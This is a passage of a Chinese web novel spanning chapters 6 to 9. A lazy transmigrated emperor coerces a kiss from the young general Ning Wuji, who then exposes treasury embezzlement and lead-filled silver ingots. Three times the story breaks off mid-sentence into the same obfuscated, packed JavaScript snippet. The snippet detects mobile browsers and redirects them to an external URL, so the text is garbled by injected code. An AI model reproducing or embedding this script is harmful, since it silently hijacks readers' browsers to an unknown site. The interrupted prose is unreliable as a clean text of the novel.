“并告诉他如果招供,他.娘亲今后的虎骨都由监察司提供,并保证二人性命。若是不招,他.娘当日便会收到他的尸首。” 闻幸竖起耳朵,“然后呢?” “然后......”宁无劫从袖中掏出一个精致的金属盒子,递给闻幸。 闻幸打开盒子,里头是块一寸长的骨头,在骨头的末端,刻印着一个圆形的繁复徽记。这印记他似有些印象,好像跟他常用的药盒上的一样,出自御药房。 这是皇家的东西。 “这是他.娘亲拿到的虎骨,本来送药之人总是掐着用量,一日一送,绝不多给,应是怕留下证据。” “但是他.娘亲觉得这药金贵,想着若是能攒下一点,将来能换大钱。于是每次用药时都削下一些留作下次使用,时日一长,竟也攒出一截完整的虎骨了。” 闻幸拧眉,“所以,宫里有人监守自盗?” 宁无劫:“那主事说他也不知道幕后之人是谁,只是每隔一段时日,门房便会收到封匿名信,信中便付着这虎骨,并指出要他故意压下的折子,只要照做,他.娘便会有源源不断的药引子。” 闻幸:“所以之前他不招,是担心幕后之人知晓后不再供药。” 宁无劫颔首。 闻幸:“不知道幕后之人是谁,那这线索岂不是断了?” 宁无劫摇头,“未必。” 闻幸挑眉,“怎么说?” 宁无劫看他一眼,道:“臣有一法,但需要陛下上朝。” 听见上朝两个字,闻幸的眉心就又拧起来。 诚然他讨厌工作,特别是早朝都在凌晨举行,他根本起不来。 最重要的是,只要上朝就免不了听见朝臣们为这样那样的政事吵起来。 每次都吵得他脑仁疼,甚至有一次吵到他心绞痛发作,朝野上下乱作一团。 从那以后他便不上朝了。 闻幸有些抗拒,“这与案子有什么关系?” 只见宁无劫俯首到闻幸身侧耳语,“臣想请陛下在朝堂之上......” 听完宁无劫的话,闻幸恍然点点头。 可他还是不想去。 他只是想听故事,可没想参与到故事里去。 于是他眯了眯眼,看着宁无劫故作姿态道:“要朕上朝倒也不是不可以。那你......” 似是怕这昏君又要说出什么惊人之语,宁无劫忙截口道:“陛下就不想查出那幕后之人是谁吗?” 闻幸斜睨一眼宁无劫。 这小子,难道说案子吊他胃口,就是为了骗他上朝? 无良昏君的眸子微微动,戏谑道:“可你既然是求朕帮忙,不该有个求人的样子吗?” 宁无劫心头升起一丝不详的预感。 这昏君该不会又要...... 果见那昏君冲他勾勾手指,“你过来。” 玉白的指节在眼前晃,宁无劫的视线仿佛被烫了似地垂眼,悄悄握紧了拳,“陛下,要做什么?” “让朕亲一下,朕就应你。” 闻幸倒不是多想亲,他就是想看看这倒霉孩子为了查案能做到什么地步。 哎,闻幸也是觉得自己被这宫里拘得太闷了。 成天就爱逗人玩。 可是...... 他看着宁无劫羞愤的反应。 真的很好玩啊。 只见宁无劫瞳仁微颤,忽地站直了身子后退半步,拳头攥得死紧,在半掩的袖子发出轻响,甚至指甲都嵌入血肉里。 又是这样,总是这样! 无耻! 他倏地闭眼,血脉在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029856|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳中轰鸣,恨不得一拳打醒这昏君! 可很快他的理智再次牵制住了他,开始了激烈的心理斗争。 冷静,他这是为了查案。 军需一拖再拖,为了宁远军,他要将这些老狐狸一击致命! 为此,需要这昏君帮忙。 可是,昏君是必要的吗? 没有昏君就不能有别的法子? ...... 必要。 既然必要,那他也只能...... 他齿间咬出腥甜气味,再次睁眼时,眸光有如冰封。 他坚忍万分地,缓缓俯身下去。 闻幸看见宁无劫的脸靠了过来,一双眼眶又倏地红了,而且肉眼可见地迅速潮湿起来。 因为距离的拉近,闻幸甚至看见对方衣襟内,因愤怒而绷得死紧的脖颈上,蔓出了一点淡嫣红,像染上了一层薄薄的丹蔻。 闻幸心头惊叹。 看来为了查案真的是豁出去了。 二人距离贴近,近到唇瓣就快要碰到一起。 察觉到一点不对劲的闻幸:...... 等一下,他说的好像是让宁无劫给他亲吧? 他好像没说亲嘴吧? 还没等他想明白自己哪没说清楚,唇瓣上便倏然传来微凉而柔软的触感。 在那一瞬间,他恍惚看见宁无劫的脸颊上滚过一道湿意。 唇瓣一触即分。 少年飞快地站直并转过身去,只留给闻幸一个后背。 他好像看见少年抬袖擦了一下侧脸,动作很快,他没太看清。 闻幸愣了愣。 该不会真哭了吧? 宁无劫再次转过身来时,脸上虽然湿意消失了,但眼睛还是红的,“够了吗?” 声音特别低沉,像是要压着什么似的。 他有点恍惚地“嗯”了一声。 他这是逗过头了吗? 宁无劫双眼直直盯着皇帝,几乎是质问般的语气咬牙道:“那陛下可以上朝了吗?” 他强压下心头汹涌的情绪,原本强烈的屈辱与愤怒在吻落下去的一瞬间,竟倏忽被另一种异样的感觉取代。 他不知道那是什么。 他本以为自己会厌恶那个吻。 但是出奇的是并没有。 甚至那种异样的软滑的触感牢牢地烙印在了他的脑海里,连带着心脏都在狂跳。 自己一定是哪里出了问题。 病了,他想着。 闻幸勾了一下唇,满意地道:“既然宁卿伺候得好,朕当然也可以勉为其难。” 他说时起身下榻,往门外去,“那就择日不如撞日吧。” “通知朝臣们,今日要上晚朝。” 早起是不可能早起的,但晚朝还是可以上的。 谁让他今天心情好呢。 李德全频频颔首,冲宁无劫投去一个感激的眼神。 还得是陛下心尖尖上的人才能劝得动陛下啊。 这不,满朝文武费了牛劲,哪怕撞柱都劝不住的陛下,给小美人碰个嘴就破天荒地去上朝了。 啧啧啧。 老太监不无感慨。 还是美人好啊。 宁无劫沉默着,视线落在闻幸清癯出尘的背影上。 那人一身天青色织锦道袍飘逸如风,行走间一股龙涎香散溢出来,拂至他的鼻尖。 宁无劫瞳仁一颤。 他忽然想起自己每次靠近昏君时,都能闻见这样的香气,每每令他眩晕。 他方才怕不是着了这香的道了。 一定是的。 昏君熏的香里到底掺了什么? 是惑人心神的毒药吗? 想用这种下作手段控制他? 痴心妄想! 等着,他一定会查出来的。 7.第 7 章 深夜子时,皇极殿。 满朝文武位列丹墀两侧,门外还有朝臣一边扶正衣冠一边小跑而来,应是刚刚赶到。 “也不知陛下今日是转了什么性,竟然主动要上晚朝。” “可不是,我半个时辰前才接到消息,紧赶慢赶从被窝里爬起来,总算没迟到。” 绛紫绯袍的朝臣们窃窃私语着。 另一侧的武将队列里。 吴竟用手肘捅了一下宁无劫,“无劫,你怎么知道我一时半会走不了?还在调令上给了我一个月的动身时间,果然军需物资至今尚未凑齐。” “也不知户部那帮人是干什么吃的。”他嘀咕道。 宁无劫垂下眼睑,眸色晦暗。 “猜的。”他淡淡道。 “只是不知寒铁关等不等得了。”吴竟语气里满是焦虑。 宁无劫暗暗攥了一下拳。 一想到在边关苦苦支撑的父兄与袍泽,他更是忧心如焚。 不能等案子再慢慢地查下去了,抽丝剥茧固然能查清真相,可寒铁关等不起。 早在查案时他便有了些猜测,与军需折子一同被压的,还有如淮南水灾赈饷,请旨赦免广陵等州县赋税的折子。 虽然也有些无关紧要的折子混淆其间,但有重大疏漏的,均是涉及钱粮之事。 他有个猜想,如果他没有猜错的话,今日之后便能看到结果。 随着一声“陛下驾到”响彻大殿,青色的人影抬步跨入殿门。 宁无劫寻声望去,见来人一如既往地未着冠冕,墨发松挽,天青色的袍裾曳地而行,清隽飘逸。 即便他站在朝臣中,与帝王隔着不近的距离,他仍觉似一阵清风裹挟着那熟悉的香气拂面而来。 他一定是中了那香的毒性了。 可恶。 他暗暗捏拳。 闻幸缓步上殿,慵懒似栖云鹤,斜倚龙椅上,依然是那副坐没坐相的姿势。 朝臣们齐齐跪地,山呼万岁。 闻幸视线扫过众人,“平身。” “开始之前,朕有言在先,本次朝会有三件事不准议。” “不准议恢复早朝,不准议批红之权,不准弹劾宁无劫。否则,以抗旨不尊论处。” 听见这句,宁无劫有些诧异地看向高座上的帝王。 这昏君怎么知道朝臣要弹劾他? 其实最近他鲜少给闻幸念折子,最重要的原因就是最近大半的折子都是弹劾他的。 但他从没跟昏君提起过。 可这昏君却上来就断了那些言官的路。 你竟然......如此爱重我? 听见皇帝这么说,方才还憋着一股劲要大谈特谈的几位言官登时泄了气。 昏君好男色,如之奈何! 唯有吴竟一副洞悉了世事的了然之色。 呵呵,无劫可是陛下的心尖尖,捧在手心都怕化了,怎么会让你们这些言官攻击。 不愧是陛下啊,一开口就把这些人的嘴全堵上了。 虽说昏庸吧,那至少是明着对无劫好。 也算是一种庇佑了。 闻幸睥睨扫过阶下,见大臣们都垂着首,于是勾了一下唇,悠然道:“开始吧。” 照着朝会的规程,纠仪太监宣读完毕后,朝臣出列发言。 “陛下!” 兵部尚书徐重云率先出列道:“臣有本奏。” “兵部六品主事邵建安自从被革职查办后便下落不明,该案主审人乃是宁无劫将军,臣身为兵部主官,想向将军讨个说法。” 有言官在心头给徐重云的胆色点了个赞。 众臣们随着徐重云的视线齐刷刷看向宁无劫。 只见少年目不旁视,望着高座上的人镇定自若地道:“邵建安贻误军机,贪赃枉法,臣已经将他下了诏狱。” 短短一句话平地起惊雷。 “诏狱!” “那不是由监察司管辖吗?” “荒谬!宁将军不过越骑将军,你有何权利将人拿去诏狱?” “就算仗着陛下庇佑,你也不能胡作非为吧!” 见朝堂纷乱,高高在上的青年帝王沉声:“半月前,为方便查案,朕曾封宁卿为监察司指挥使。” 听闻此言,众官员心头大骇。 陛下竟然压着这事秘而不宣,难道就是怕他们在查案时从中作梗? 监察司直属皇帝,可以绕过三法司直接监查百官,官员任免无需经过吏部。眼下打他们个措手不及,连个准备的时间都没有! 本以为陛下只不过是见色起意,倒没想到连监察司都交给了宁无劫! 众人皆呈现惊愕状,唯有吴竟心头呵呵一声。 看吧,无劫刚被质疑,陛下就急着跳出来解释。 这不是真爱还有什么算真爱? 徐重云仿佛是太过震惊,一时间竟然愣着没有反应。 是太傅方秉渊率先高声泣谏:“陛下!批红乃代天执笔,监察乃悬颅利剑,如今宁将军兼掌朱批与监察,权柄集于一身。” 他说时,抱歉地看一眼宁无劫,下定了劝谏的决心继续道:“古来权臣篡鼎之祸,皆始于如此,陛下三思!” 言官们亦纷纷出列道:“我等谏臣本该讽议左右,以匡人君。陛下此举有损国本,还望陛下三思!” 还有人垂首不语,各怀鬼胎。 凡监察司换了指挥使,必然要落马几个官员,这是大家都心照不宣的规矩。 机敏些的,此时已经在思考邵建安的案子是否会牵扯到自己了。 徐重云此时反应过来,震惊之余亦不无愤慨地道:“邵建安不过是疏忽了奏折,竟要下诏狱?此例一开,今后百官必然战战兢兢,如履薄冰,还如何为朝廷效力?” “臣附议,那诏狱可是有去无回的地方。若是仅仅因为疏忽了一道奏折,便落得如此下场,今后谁还敢为官?” 闻幸看一眼宁无劫,见对方面色坦然,勾了一下唇,故作讶异地道:“宁卿做何解释?” 宁无劫出列,躬身行礼,“陛下。” “这件案子并非个例。臣接手积压的奏折后,发现各部均有重要奏折遗漏,便察觉此事并不简单。” “然仅仅因为这件事就将各部经手官员悉数关押确实不妥。故而臣明察暗访,发现兵部邵建安有贪污受贿之嫌,才将其下狱查办。” 徐重云冷笑:“邵建安是臣的属下,他家徒四壁人尽皆知,宁将军说他受贿,岂非滑天下之大稽。” 却见宁无劫不疾不徐,从袖中掏出那个金属盒子,交给太监递至御前。 “这便是证据。” 闻幸故作讶异地接过盒子,打开后又故作震惊震怒道:“岂有此理!” 他命太监将虎骨展示给朝堂众人,“竟然偷到朕的头上了!” 太监端着虎骨在朝臣面前走过,见过之人无不震惊。 “这难道是......” “这不是虎骨吗?据说与黄金等价。这一截少说也得有二两重吧?” “可这好像是御药房的......嘶......难道有人偷了御药房给邵建安行贿?” 宁无劫仔细观察着众人的反应。 徐重云震惊地看着太监展示给他看的虎骨,似是毫不知情,“这怎么可能?” 宁无劫道:“臣已严审过邵建安,他说这是有人匿名送他的,为的就是让他故意押下一些折子。” “至于目的......”宁无劫略微思忖,在官员们或疑惑或心虚或忐忑的目光中,扬声道:“是因有人侵吞国帑,至使国库空虚,故而将耗费银钱的折子一律滞压,待到季末新税征收国库后,再以新补旧,蒙混过关!” 他的话如古寺鸣钟,掷地有声,在空旷恢弘的大殿内回响。 这是何等严厉的指控,又指向了何等大案。 压着要钱的折子不理,待税收上来用新税填账,届时再处理这些奏折,只消说之前是疏忽了,或是各部事务繁忙来不及处理,便神不知鬼不觉地掩饰过去了。 如此一来循环往复,不知为了填帐,至百姓头上又加了几层赋税。 场面一片哗然。 原本安静的皇极殿此时已沸反盈天。 “这是空口污蔑!” “他邵建安怕不是疯了,想拖旁人下水吧?!” 纠仪太监连喊数声:“肃静!” 方秉渊过于震惊,已有些神色呆滞,他望着宁无劫道:“宁将军,这些都是那邵建安的供词吗?” 宁无劫心道一名小小的六品主事当然不可能知道这些。 这些结论都只是他的推测。 他坦然道:“邵建安受不住刑,没能留下供状。” 让邵建安“死”在狱中,是他答应对方的条件,唯有如此才能避免被幕后之人杀人灭口。 他说出这话时目光在几名大臣的脸上扫过。 虽然都是老臣,每个人面上都滴水不漏,但在他还是看见几人眼里一闪而逝的异动,明显是松下口气。 果然。 于是他话锋一转:“但所有虎骨均出自内库御药房,能用内库财务去贿赂官员,可见宫内盗窃蔚然成风,已经到了何种地步。” “臣已拿下了御药房主事,相信不久便能审出与他勾连之人。” 听见这句,在场官员已有不少人面露惊惧之色。 特别是户部尚书,面色阴沉惊恐,已经是顾不上掩饰了。 宁无劫心头一声冷笑。 闻幸赞赏地道:“做得好。” 他依然是那副斜依龙椅上的姿势,懒懒地沉声:“查,六部九库给朕一查到底。” 都明白这案子已经从一块小小的虎骨上升到了极其严重的地步,众臣再不敢吵嚷了,纷纷噤声。 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049857|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有官员将脑袋压得极低,试图削弱存在感。 唯有方秉渊仍试图劝解:“陛下,既然没有供状,仅凭一截虎骨就要大张旗鼓地查国库,未免小题大做了吧?如此行事,只怕不能服众啊。” 听见方秉渊站出来说话,有朝臣的眼里目光微亮,仿佛捉到了救命稻草,本还盘算着如何发言推这老头一把,却又听见高阶上的皇帝发话了:“老师。” 闻幸站起身来,不悦地厉声质问:“若非宁卿‘小题大做’,能查到这块虎骨吗?” 方秉渊一噎。 “管中窥豹,难道宫中仅仅是丢了一块虎骨吗?” 方秉渊:...... “小小六品主事,年俸不过三十两,竟然能得千金虎骨为其母入药。这还只是他一个。” 帝王睥睨群臣,怒斥:“满朝文武又有多少个邵建安!” 掷地有声的话音从高座传来,在恢弘的大殿内回响。 朝臣见惯了一向温和儒雅的皇帝,即便是近日因病性情大变,也不过是怠政惫懒罢了,何曾见自家陛下为了国事这般雷霆震怒。 于是本还想垂死挣扎做一番争辩的大臣们,此时也只得攥紧了笏板,纷纷噤声。 青年帝王高高在上,看着白发苍苍的老头,冷道:“老师,若非朕给了宁卿指挥使的位置,许他放手而为,这件案子若依您那套循规守制的章法,便又要稀里糊涂地揭过了吧?” “这么些年来,朝廷又稀里糊涂地揭过了多少看似事小,实则隐蔽的大案要案,您敢想吗?” “乱世,要用重典。” 闻幸现在几乎可以猜到为什么原主皇帝卷生卷死也改变不了王朝命运了。 若是都按他老师这种循规蹈矩,万事讲个理字的法子,大概查到线索断了便不了了之,什么蠹虫也揪不出来。 也不怪朝臣们敢如此肆无忌惮侵吞国帑了。 方秉渊闻言如遭雷击,仿佛终于意识到了问题的严重性,再不敢言语,只得颤颤巍巍地下跪道:“是老臣迂腐。” “陛下圣明!” 朝臣亦伏跪附和:“陛下圣明!” 闻幸目光冷然地扫过叩首众臣,再次语出惊人:“查案期间,着监察司接手六部九库,各部准备移交秘钥及账簿,接受核查。” 叩首中的官员们纷纷震惊地身体一僵,双目瞪圆。 全都交给......宁无劫?! “现在就......移交吗?”不知谁战战兢兢地问了一句。 “立刻!马上!”闻幸起身,拂袖而去。 徒留众大臣们呆滞原地,还有人身型一晃,缓缓瘫倒。 完了...... 全完了。 宁无劫扫视满朝文武,见众人或面露震惊,或神色紧张,或现颓然之色。 一抹寒霜般的讥诮凝在唇角。 蠹虫之巨,触目惊心。 他笔挺的身影踏过满地簌簌发抖的绛紫官袍,踏出殿门。 吴竟与有荣焉地追着走出不远的宁无劫道:“无劫,等我!” 宁无劫在殿外的石阶前回头。 吴竟笑嘻嘻走来,厚重的手掌一拍宁无劫肩头,拍得他直皱眉。 “可以啊!你是怎么把陛下哄得团团转的?连个证词都没有的案子竟然直接就让你接手九库!”吴竟还不无感慨地摇头,“话本子诚不欺我。” “话本子?” 宁无劫拧眉,陛下爱听话本子也就罢了,他这个发小何时也沾染上了这种东西。 只见吴竟神秘兮兮地左右看了一眼,又把宁无劫拉到偏僻无人的角落,从怀里抽出一本书塞进宁无劫怀里。 宁无劫不解地垂眼一看:《深宫秘闻录之龙榻藏娇》。 他的眉心拧得死紧,预感这不是什么好东西。 便听那吴竟嘿嘿一笑,“最近京城里可流行了,我可不是爱看话本子的人,可是这上面写的是你嘛,那我高低得看一眼。” 宁无劫面色一僵。 “你还别说,写得还真挺像那么回事的,我看今天陛下对你的爱护,啧啧啧,果然如这上边写的......” “住口!”宁无劫一把捂住吴竟的嘴,压低声音:“你不要命了?敢看编排陛下的本子?” 他把本子塞回吴竟手中,“赶紧烧了!” “还有这是哪家书局印的?想被诛九族?” 吴竟忙道:“都是私下印的,传得到处都是根本查不到源头,而且书里用的都是化名,还打着前朝的名头,哪敢指名道姓咱们陛下啊。” “不过大家都心知肚明......” 宁无劫揉揉额角,非常无语地看一眼吴竟,转身就走。 吴竟追上去,“诶,你真不看一眼吗?写得真挺不错的。” “不看。” 深夜的皇极殿上空月明星稀,二人窃窃私语的声音渐渐消散在风中。 8.第 8 章 自从接管了国库,宁无劫的盘点查账工作就变得尤其繁忙,几乎占据了全部时间。 闻幸许久没能听到高冷男神音给他念话本。 日子突然就变得无聊起来。 看着懒在榻上望着窗外唉声叹气的自家皇帝,李德全不无忧心地想:美人太忙来不了,咱们陛下可怎么办? 这么想人家,就别给人家派那么多活呀。 而且他们陛下对宁无劫是真的好,知道人家忙,最近也鲜少传召了。 他哪里知道,闻幸上辈子的当领导经验,就是既要给人派活,又要给人自由。 领导时不时的耳提面命刷存在感是最让人讨厌的。 老太监摇头叹气间,忽然听他们家皇帝喊了一声:“星河。” 影卫应声而落。 “主子!”清脆带着点稚嫩的少年音响起。 闻幸回头,面前的少年影卫不过十三四岁,束着双髻,身量还未长开,面颊带一点未完全褪去的婴儿肥。正举着一只红彤彤的冰糖苹果舔舐。 闻幸看见那苹果,挑了挑眉,勾勾手指:“拿来。” 星河警觉地将冰糖苹果往身后藏:“......不。” 闻幸眯眼,“抗旨不尊,罚你俸禄,看你再拿什么买果子。” 星河撇了撇嘴,“主子,这我都舔过了。”说时,将冰糖苹果藏得更严实了。 闻幸笑了,“那罚你给朕讲讲,最近外头有什么好玩的?” 星河是他刚穿来时,一次微服出游遇见的。 那时他去南泉山游玩,在山脚的一座庄子外面,看见这孩子抱着一柄剑坐在门槛上,浑身浴血,身后是无数倒地的尸体。 为师门复仇,这孩子一人一剑灭了一座山庄。 闻幸当时只觉得若是不把人捡回来,这孩子也要没了。 他养了好几个月才将星河一身杀气洗去,到头来发现这只是一个爱吃零食,爱跑出宫玩的,平凡的孩子。 除了那一身惊人的功夫。 星河歪头想了想,道:“最近勾栏上了新戏,还有西域来的幻戏。” “幻戏?那是什么?” 星河舔一下苹果:“可好看了。” 闻幸佯装不满:“难怪你最近跑出宫这么久不回来,背着朕玩了多少新鲜的玩意,快,从实招来!” 星河眼睛亮亮的,“我带主子去!” 李德全垂头叹气,知道这回他们陛下又要跟着星河跑了,于是他叮嘱身旁的小太监:“让侍卫安排一支队伍跟着陛下,千万别让陛下跑太远。” 星河自顾翻起了皇帝的衣柜,从中翻出一件天水蓝暗绣盘云纹直裰,又取了一根龙首玉带钩腰带。 看星河翻皇帝衣柜如翻自家的东西,李德全很是无奈。 他们家陛下从不拘着星河,惯得这孩子肆无忌惮。 闻幸兴致勃勃地穿好星河推荐的衣衫,跟着孩子就跑了。 “这回不准用轻功,给朕老老实实走宫门,朕可追不上你。” 孩子声音悻悻的,“哦。” * 户部银库。 一众身着玄色曳撒的监察司监察使 ,正在库房间穿梭着。大量银箱被打开,露出里头大大小小堆叠成山的银锭。 有司计郎正在清点数量,并提笔记录在册。 一名户部官员弓背哈腰捧着一本账册,几乎是以谄媚的语气道:“这是银库总账,宁大人请过目。” “您放心,库银每季盘点一次,绝无差错。” 宁无劫接过账册随意扫了两眼便递给属下,冷道:“郎中大人既然有管理一国银库之能,账面自然是做得滴水不漏,我就不看了。” 户部郎中闻言,尴尬地笑了笑。 “大人过誉。” 此时一名监察使对着宁无劫抱拳行礼道:“清点过了,确实是一千三百五十一万两白银。” 宁无劫眯眼,瞥见那名户部郎中听了这句微微弯起嘴角又快速扯平,一副坦然之色。 他眼里闪过一抹厉色,冷笑一声:“郎中大人果然恪尽职守,把库银打理得分毫不差。” 户部郎中闻言,轻松地笑道:“指挥使大人才是德才兼备,陛下的肱股之臣呐。” 却见宁无劫随手拿起身旁银山上的一枚银锭举至眼前,借着火把光线,一面观察,一面讥哂道:“可我听说高明的银匠能将熔铅灌入空芯银锭中,不仅表面看不出来,连重量都控制得滴水不漏。” “郎中大人,可有耳闻?” 户部郎中尽管竭力保持着面色,但其眼中的紧张仍未能逃过宁无劫的眼睛,他赧笑道:“是我孤陋寡闻了。” “是吗?要不咱们试试?” 户部郎中面色一滞。 只见宁无劫将那银锭放在郎中身侧的石阶上,忽然拔刀而出,“我这把霜刃削铁如泥,就是不知斩这官银如何?” 郎中悚然一惊,尚未做出反应,那银白刀锋便堪堪贴着他身侧掠过,刀风如有实质,惊得他半边身子瞬间僵滞,仿佛这一斩真能剐去他半条性命。 铛——! 刺耳的金石相击声响起,激起回音震得人耳中嗡鸣不止。 郎中仓惶转头,只见石阶上那枚十两的银锭,竟如朽木般被居中斩开。 外层银皮扭曲翻卷,露出内里晦暗的铅芯。 他心知大势已去,登时吓得腿软,噗通一声跪倒在地,惊呼:“指挥使饶命!” 一众监察使暗暗心惊,原本以为他们这位上司不过是仗着陛下宠幸上位的,但跟着查案这么些天,也见识了这位的手段。 心思缜密又胆大果决,倒不像这般年岁该有的。 宁无劫并不理会已经瘫软的郎中,转身走出银库,疾步如风对属下道:“银锭全部削开查验,银库官员收押!” 他甫一走出库房,便有监察使来报,“咱们盯着的幻海楼有消息了,就在今日。” 宁无劫颔首,回身点人,“一队三队,跟我走。” 随后便率一众提刀监察使疾步出了宫门。 * 幻海楼。 楼高五重,琉璃檐角,鎏金铜钩。即便在京城灯火通明的夜色里,也如千万盏灯火汇聚成的耀眼灯塔。 楼外人头攒动。 李德全身着便服,在街边酒肆落座,十分忐忑地盯着楼内动静,问身侧侍卫道:“里头的人都盯紧了吗?千万别出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054021|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纰漏。” 侍卫颔首,“都乔庄布进去了,而且有星河在,应无大碍。” 老太监颔首,微叹道:“咱们这位主子啊,太不让人省心了。” 身为皇帝,走到哪里都是万众瞩目,乌泱泱的一堆人跟着,偏偏他们家这位陛下就爱甩开他们,还往这些市井喧阗的地方跑,真是愁死个太监。 却在此时,侍卫忽然警觉地刀出三寸,双目如炬死死盯着一队正往幻海楼疾行而去的人马。 老太监顺着视线望去,“咦”了一声,“那不是小美......呸,宁将军吗?” 他正欲高声喊人,却见宁无劫似是察觉到了什么,忽然脚步一顿,扭头望了过来。 宁无劫眉心微蹙,“李公公?” 既然李德全在这里,那说明陛下也...... 宁无劫察觉事有蹊跷,便转头对下属道:“你们先潜进去,按兵不动,等我信号。”说完便朝李德全走去。 “李公公。”他说时张望了一下,“陛下在这附近?” 李德全望一眼幻海楼,无奈:“在里面。” 宁无劫不解,“陛下来此做什么?” 不过转念他又想明白了,昏君来勾栏,能干什么? 呵。 想到这里他面色一冷,声音都没了温度:“我今日有案子,恐冲撞陛下,还是着人请他出来吧。” 李德全察觉到宁无劫面色有异,眼珠子转了一下,忽然想通了关窍。 他怎么这么蠢,就这么大喇喇地在小美人面前承认陛下进了勾栏呢?! 嘶...... 若是小美人一生气,今后都不帮着他哄陛下了可怎么办? 李德全有种搬起石头砸自己的脚的感觉。 赶紧补救一下。 老太监的脑子转得飞快,听见宁无劫口中提到案子这个关键词,忽然灵光一闪,正色道:“陛下也是来查案的。” 宁无劫:? 昏君也会查案? 见他目露犹疑,老太监连忙信口胡诌地找补:“听说有件遗失的宫中至宝流落至此,陛下想来亲自确认。” 宁无劫狐疑:“查案怎么不派人,要陛下亲自去?” 不过他今日也是因为查到了线索,这里的地下钱庄正打算拍卖一批宫中流出的珍宝,均出自内库,他便是来截获并查封幻海楼的。 陛下要查的宝物莫不是也在其中。 李德全不知道自己信口胡诌的理由竟与宁无劫的案子完美契合,只觉眼前这人实在太聪明,不好糊弄,绞尽脑汁才道:“那个宝物......是陛下的东西,旁人不熟,认不出来。” “原来如此。”宁无劫也不知是信了还是没信。 李德全抹了把额汗,“要不老奴还是进去劝劝陛下吧。” 快走吧,要是让小美人发现陛下并非查案而是逛勾栏,那画面...... 老太监不敢想了。 他正欲起身,却被宁无劫拦下,“不必了。” 还没等太监反应,宁无劫已经一个闪身进了楼内。 李德全:...... 陛下,您自求多福吧,老奴只能帮您到这了。 9.第 9 章 幻海楼内笙歌鼎沸。 正中一座九曲白玉桥,桥头伶人指尖一划,琵琶琴声如珠玉落盘,压过满堂喧嚣。 三楼的中庭环廊雅间内,一名清癯公子头戴玉冠,天水蓝锦袍称得那肤色如冷月下的新雪,不染凡尘。 “主子。”公子身旁一名蓝衫少年,从琳琅满目的餐桌上捡了糕点就往嘴里塞,塞得那腮帮子鼓鼓囊囊,“马上,等这伶人唱完就是幻戏了。” 话音刚落,琵琶琴声戛然而止,穹顶的千盏明灯倏然熄灭。 黑暗中,白玉桥上一簇幽蓝火苗毫无征兆地炸开,化作星光洒满虚空。 “哇!开始了!”星河兴奋地高喊。 闻幸目光发亮,正被中庭的幻戏吸引,忽闻身侧一个声音传来:“原来是闻公子,好巧。我可以坐这吗?” 黑暗中的星河登时警铃大作,这人什么时候靠近的?他为什么一点没有察觉? 他几乎就要拔剑而出,却被来人轻轻一推剑柄,刚出三寸的剑身瞬间归位。 星河:! 此时一道烟花炸响,黑暗夜幕被强光撕裂。 闻幸趁着一闪即逝的光线看去,便见宁无劫一身缟素色窄袖直身便服,玉簪穿发,鞶带束腰,亭亭公子立在眼前,如玉山压住了满庭浊风。 强光照亮了二人的侧脸,又迅速熄灭。 闻幸有一瞬恍惚。 “宁无劫?” 哗—— 穹顶明灯倏然亮起,恍若白昼。 差一点就要再次拔剑的星河动作顿住:“主子,你认识他?” 宁无劫望着中庭变幻莫测的表演,替闻幸回答:“自然认识。” 闻幸诧异。 宁无劫这种根正苗红的孩子也逛勾栏吗? 他突然好奇心起,勾着唇笑道:“请坐。” 宁无劫撩起袍裾在他身侧坐下,“闻公子真有雅兴。” 查案子还跑雅间来了,拍卖不是在地下么? 他布的人已经在拍卖场外面了,就等他一声令下。 可这昏君不去地下找宝物,跑到楼上来看戏? 此时庭中一名花娘舞动间张口吐出一团火焰,引来满堂喝彩。 闻幸饶有趣味看他:“你不也一样?” 宁无劫:...... 一样,那你为什么还在这? 宁无劫见中庭那花娘仅披一件几乎透明的薄纱,肚兜挂在胸前,肩背胳膊裸露无遗,舞动的赤足踝上金铃摇晃发出细碎声响。 他忽地攥紧杯盏。 原来如此,查案时还要顺带看美人? 呵,不愧是昏君! 色令智昏! 轰—— 花娘口吐的火焰忽而化作一只烈焰凤凰,直冲穹顶,又迸散成漫天星火。 闻幸了然,所以所谓的幻戏,就类似魔术结合了杂技。 还挺有趣的。 作为现代人,见过的娱乐项目层出不穷,那花娘的着装对他来说也见怪不怪。 他兴致缺缺,想看看宁无劫的反应,却见对方正死死地盯着场中那花娘。 咦?有这么好看吗? 宁无劫喜欢这种浓妆艳抹的?好意外啊。 闻幸讶异。 雅间三人都看着场中花娘,一个面色铁青,一个疑惑不解。 唯独星河不断发出“哇啊!”的惊呼声。 不久花娘退场,白玉桥头场景变换,忽而出现一张案几,说书人从桥尾走来,入座后一拍惊堂木:“书接上回!” 闻幸的注意力立即被说书人吸引了去。 